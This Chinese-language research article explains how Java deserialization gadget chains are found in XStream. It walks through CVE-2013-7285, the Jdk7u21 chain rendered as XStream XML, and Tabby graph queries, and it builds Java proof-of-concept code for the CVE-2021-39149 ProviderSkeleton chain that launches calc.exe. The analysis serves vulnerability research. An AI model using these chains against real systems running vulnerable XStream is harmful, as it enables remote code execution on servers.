从XStream浅析反序列化Gadget挖掘思路

0x01 前言

Java语言中最常见的一类漏洞就是反序列化漏洞,在各种数据格式到Java对象的转化过程中,常常存在这类漏洞。常见的数据类型例如jdk提供的原生序列化数据、json、yaml、xml等等。针对这类漏洞存在一种特别的漏洞挖掘方式—Gadget挖掘,这种漏洞挖掘不需要去寻找特定的外部入口漏洞入口,入口往往是公开的,应用通过对传入的数据内容进行过滤和检查。XStream是一款针对XML和Java对象转换而开发的工具库,由于其本身的一些特点,成为了这类漏洞挖掘里一个很典型的例子,因此本文针对XStream进行Gadget挖掘分析。本文更多的是分享Gadget挖掘时的思路,进而可以在其他类型的序列化中进行类似的思考和尝试。

0x02 XStream简介

XStream是一个常用的Java对象和XML相互转换的Java库。

从java对象到XML:

从XML到Java对象:

XStream在1.4.18版本以前是存在许多CVE的,核心原因在于的它使用类的黑名单进行防御,因此层出不穷的绕过,在1.4.18版本以后默认为白名单,用户需要自行根据需要使用的类进行配置,到这个版本XStream才没有继续爆出高危的反序列化漏洞。

值得一提的是,XStream中有CVE编号的利用链都是不依赖任何第三方库,纯利用JDK中的类进行利用,由此可见XStream对于反序列化的宽泛程度。

0x03 历史漏洞

简单介绍一下XStream反序列的特点。反序列化漏洞的本质是,基于可以利用的Java类:序列化数据流→Source→Gadget→Sink。

对于原生的Java反序列化来说,可以利用的Java类是任意实现了Serializable的类,入口是ObjectInputStream的readObject方法。

对于XStream来说,可以利用的Java是任意类,入口是XStream的fromXML方法。

以一个经典的CVE-2013-7285来说,poc如下,执行的sink是ProcessBuilder.start()

XStream中有一系列的Converter,用于对不同的标签进行转化。

这里sorted-set标签对应的是TreeSetConverter,它的代码逻辑中会调用TreeMap的put方法,而TreeMap的put方法会调用方法的compare方法对传入Map的对象进行判断对象应该存放的位置

public V put(K key, V value) {
        ...
        // split comparator and comparable paths
        Comparator<? super K> cpr = comparator;
        if (cpr != null) {
            do {
                parent = t;
                cmp = cpr.compare(key, t.key);
                if (cmp < 0)
                    t = t.left;
                else if (cmp > 0)
                    t = t.right;
                else
                    return t.setValue(value);
            } while (t != null);
        }
        else {
            ...
        }
        Entry<K,V> e = new Entry<>(key, value, parent);
        if (cmp < 0)
            parent.left = e;
        else
            parent.right = e;
        fixAfterInsertion(e);
        size++;
        modCount++;
        return null;
    }

这里传入的对象是一个动态代理java.beans.EventHandler对象。在 Java 中,动态代理对象是一种在运行时创建的代理对象,它实现了InvocationHandler接口的invoke方法,从而将方法调用按照动态代理的invoke的实现逻辑进行转发。

public Object invoke(final Object proxy, final Method method, final Object[] arguments) {
    AccessControlContext acc = this.acc;
    if ((acc == null) && (System.getSecurityManager() != null)) {
        throw new SecurityException("AccessControlContext is not set");
    }
    return AccessController.doPrivileged(new PrivilegedAction<Object>() {
        public Object run() {
            return invokeInternal(proxy, method, arguments);
        }
    }, acc);
}

private Object invokeInternal(Object proxy, Method method, Object[] arguments) {
        String methodName = method.getName();
        if (method.getDeclaringClass() == Object.class)  {
            // Handle the Object public methods.
            if (methodName.equals("hashCode"))  {
                return new Integer(System.identityHashCode(proxy));
            } else if (methodName.equals("equals")) {
                return (proxy == arguments[0] ? Boolean.TRUE : Boolean.FALSE);
            } else if (methodName.equals("toString")) {
                return proxy.getClass().getName() + '@' + Integer.toHexString(proxy.hashCode());
            }
        }

        if (listenerMethodName == null || listenerMethodName.equals(methodName)) {
            try {
                int lastDot = action.lastIndexOf('.');
                if (lastDot != -1) {
                    target = applyGetters(target, action.substring(0, lastDot));
                    action = action.substring(lastDot + 1);
                }
                Method targetMethod = Statement.getMethod(
                             target.getClass(), action, argTypes);
                if (targetMethod == null) {
                    ...
                }
                return MethodUtil.invoke(targetMethod, target, newArgs);
            }
            catch (IllegalAccessException ex) {
                throw new RuntimeException(ex);
            }
            catch (InvocationTargetException ex) {
                Throwable th = ex.getTargetException();
                throw (th instanceof RuntimeException)
                        ? (RuntimeException) th
                        : new RuntimeException(th);
            }
        }
        return null;
    }

它的特点是会在执行非hashCode、equals以及toString这些方法时,会执行其target属性的对象及指定方法。因此在执行到这个动态代理对象的compare方法时,它实际上会执行其target属性ProcessBuilder的start方法,也就是任意命令执行。

XStream对于此漏洞的补丁也很简单,默认禁用了java.beans.EventHandler这个动态代理类

0x04 Gadget挖掘思路

以这条链的禁用进行思考新链的挖掘方式,java.beans.EventHandler这个动态代理类被禁,那么是否存在其他动态代理类,也具有这样的这样可以执行任意方法的类,毕竟动态代理类本身设计就是用来在一个方法调用时,定向调用其他的方法,如果invoke方法中对传入方法或者类检测不严格,那么就很容易产生任意方法执行,并且jdk中有非常多的动态代理实现,因此可以尝试挖掘。

把jdk的类利用tabby生成图,执行如下语句

MATCH path=(sink:Method {IS_SINK: true, NAME: "invoke"})<-[:CALL|ALIAS*1..2]-(source:Method)<-[:HAS]-(child:Class)-[:EXTENDS|INTERFACE*]->(father:Class)
WHERE father.NAME = "java.lang.reflect.InvocationHandler" and source.NAME="invoke" and not source.CLASSNAME contains "com.sun.org.glassfish"
RETURN child.NAME;

以动态代理类的实现类的invoke方法为source,可控的Method.invoke为sink,并且不包含com.sun.org.glassfish包中的类,因为这个包中存在多个实现类似的invoke方法,对传入类做了严格限制,无法利用,为了方便排查,屏蔽这个包的结果:

一共存在12条链路。其中可以看到有一个sun.reflect.annotation.AnnotationInvocationHandler类。看过Java反序列化的同学一定认识这个类,因为这个类就是原生反序列化中很经典的一条利用链Jdk7u21。

而这里给出的链路其实就是Jdk7u21的利用链路,既然它在原生反序列化中可以使用,那么对于适用范围更广的XStream来说,也很有可能可以用。

验证起来也很简单,直接将jdk7u21生成的对象toXML,然后再调用fromXML,就会发现是可以触发代码执行的。

String poc = xStream.toXML(new Jdk7u21().getObject("calc.exe"));
xStream.fromXML(poc);

生成的XML如下:

<linked-hash-set>
  <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom">
    <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
      <default>
        <__indentNumber>0</__indentNumber>
        <__transletIndex>-1</__transletIndex>
        <__useServicesMechanism>false</__useServicesMechanism>
        <__bytecodes>
          <byte-array>xxx</byte-array>
          <byte-array>xxx</byte-array>
        </__bytecodes>
        <__name>Pwnr</__name>
      </default>
      <boolean>false</boolean>
    </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
  </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
  <dynamic-proxy>
    <interface>javax.xml.transform.Templates</interface>
    <handler class="sun.reflect.annotation.AnnotationInvocationHandler" serialization="custom">
      <sun.reflect.annotation.AnnotationInvocationHandler>
        <default>
          <memberValues>
            <entry>
              <string>f5a5a608</string>
              <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../../../../../../../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"/>
            </entry>
          </memberValues>
          <type>javax.xml.transform.Templates</type>
        </default>
      </sun.reflect.annotation.AnnotationInvocationHandler>
    </handler>
  </dynamic-proxy>
</linked-hash-set>

从前面的分析可以知道这条链最终做到的是任意方法执行TemplatesImpl.getOutputProperties方法进行字节码加载。当然这里也可以选择和CVE-2013-7285一样的ProcessBuilder.start,只需要把TemplatesImp标签替换为ProcessBuilder就可以了。

  <java.lang.ProcessBuilder>
    <command>
      <string>calc.exe</string>
    </command>
  </java.lang.ProcessBuilder>

需要注意的是这条利用链的外层入口类不再是sorted-set标签,而是linked-hash-set,原因是这条链中用到的AnnotationInvocationHandler必须触发其equals方法才能进入equalsImpl,最终触发任意代码执行。

AnnotationInvocationHandler和EventHandler的特性非常相似,那么Java原生反序列化链是否也可以使用EventHandler?答案是否定的,原因也很简单,就是前面提到的可以被反序列化的类的类型存在限制。

当然这条利用链也和原生反序列化中一样,在高版本jdk被修复了,因此还是需要看之前分析结果中的其他链。分析剩下的几个类中的Method.invoke调用,会发现这些method都不可控或者无法利用,因此继续分析3层利用:

MATCH path=(sink:Method {IS_SINK: true, NAME: "invoke"})<-[:CALL|ALIAS*3]-(source:Method)<-[:HAS]-(child:Class)-[:EXTENDS|INTERFACE*]->(father:Class)
WHERE father.NAME = "java.lang.reflect.InvocationHandler" and not source.CLASSNAME contains "com.sun.org.glassfish"
RETURN child.NAME;

虽然数量很多,但是链的起始点都是com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl

而CompositeInvocationHandlerImpl其实就是一个动态代理的封装。

public Object invoke( Object proxy, Method method, Object[] args )
    throws Throwable
{
    // Note that the declaring class in method is the interface
    // in which the method was defined, not the proxy class.
    Class cls = method.getDeclaringClass() ;
    InvocationHandler handler =
        (InvocationHandler)classToInvocationHandler.get( cls ) ;

    if (handler == null) {
        if (defaultHandler != null)
            handler = defaultHandler ;
        else {
            ORBUtilSystemException wrapper = ORBUtilSystemException.get(
                CORBALogDomains.UTIL ) ;
            throw wrapper.noInvocationHandler( "\"" + method.toString() +
                "\"" ) ;
        }
    }

    // handler should never be null here.

    return handler.invoke( proxy, method, args ) ;
}

因此继续分析4层调用。

可以看到此时出现了一个sun.tracing.ProviderSkeleton,并且浅看代码,在invoke中是没有过滤的。

因此查看下这个类开始的链:

MATCH path=(sink:Method {IS_SINK: true, NAME: "invoke"})<-[:CALL|ALIAS*4]-(source:Method)<-[:HAS]-(child:Class)-[:EXTENDS|INTERFACE*]->(father:Class)
WHERE father.NAME = "java.lang.reflect.InvocationHandler" and source.NAME="invoke" and not source.CLASSNAME contains "com.sun.org.glassfish"  and source.CLASSNAME="sun.tracing.ProviderSkeleton"
RETURN path;

invoke函数代码如下:

 public Object invoke(Object var1, Method var2, Object[] var3) {
    Class var4 = var2.getDeclaringClass();
    if (var4 != this.providerType) {
        try {
            if (var4 != Provider.class && var4 != Object.class) {
                throw new SecurityException();
            }

            return var2.invoke(this, var3);
        } catch (IllegalAccessException var6) {
            assert false;
        } catch (InvocationTargetException var7) {
            assert false;
        }
    } else {
        this.triggerProbe(var2, var3);
    }

    return null;
}

可以看到上图中的两条链路对应的是var2.invoke和下方的triggerProbe,var2是动态代理的方法,因此是不可控的,仅剩的一条利用链调用如下:

sun.tracing.ProviderSkeleton#invoke
		sun.tracing.ProbeSkeleton#uncheckedTrigger
					sun.tracing.dtrace.DTraceProbe#uncheckedTrigger
						this.implementing_method.invoke(this.proxy, var1);

这里的implementing_method和proxy都是DTraceProbe的属性,符合反序列化的要求,因此只需要按照需要构造出一个ProviderSkeleton对象就可以。构造的代码如下, 使用Unsafe构造对象可以避免生成很多用不到的属性,从而污染输出的xml。

HashMap hashMap = new HashMap<Method, ProbeSkeleton>();
Method hashcode = Object.class.getDeclaredMethod("hashCode");
ProcessBuilder processBuilder = new ProcessBuilder("calc.exe");
Method start =processBuilder.getClass().getDeclaredMethod("start");

Object nullprovider = getUnsafe().allocateInstance(Class.forName("sun.tracing.NullProvider"));
Object probe = getUnsafe().allocateInstance(Class.forName("sun.tracing.dtrace.DTraceProbe"));
Reflections.setFieldValue(probe,"proxy",processBuilder);
Reflections.setFieldValue(probe,"implementing_method",start);

hashMap.put(hashcode,probe);
Reflections.setFieldValue(nullprovider,"providerType",Object.class);
Reflections.setFieldValue(nullprovider,"active",true);
Reflections.setFieldValue(nullprovider,"probes",hashMap);

Object a =  Proxy.newProxyInstance(
        nullprovider.getClass().getClassLoader(),
        new Class<?>[] { Comparable.class },
        (InvocationHandler) nullprovider);

XStream xstream = new XStream();
String poc = xstream.toXML(a);
System.out.println("<linked-hash-set>\n" +poc + "\n</linked-hash-set>");

对于生成出来的动态代理对象XML,只需要在最外层套用一层linkedhashset,即可在其实现中调用对象的hashCode方法,从而进入动态代理的invoke函数,最终触发任意方法执行。在本例中选择的是processBuilder.start,同样的也可以使用TemplatesImpl.getOutputProperties进行代码代码执行。事实上这就是XStream CVE-2021-39149的挖掘过程。

0x05 总结

就动态代理的利用来说,jdk已被挖掘的七七八八,XStream其他的公开利用链,基本上都基于CompareTo、toString、hashCode等方法进行展开,找到一些潜在的特定格式的特定参数可控的方法执行后,再进一步填入不同的类,进行漏洞的完整利用。这种寻找Gadget的方法在Weblogic、Websphere、Dubbo hessian等固定存在序列化入口,通过黑名单进行防御的漏洞挖掘种常常被用到,不同的只是对类的限制、要求不同,在看清真实的需求的情况下,利用自动化工具一步步寻找,就可以有效地进行Gadget挖掘。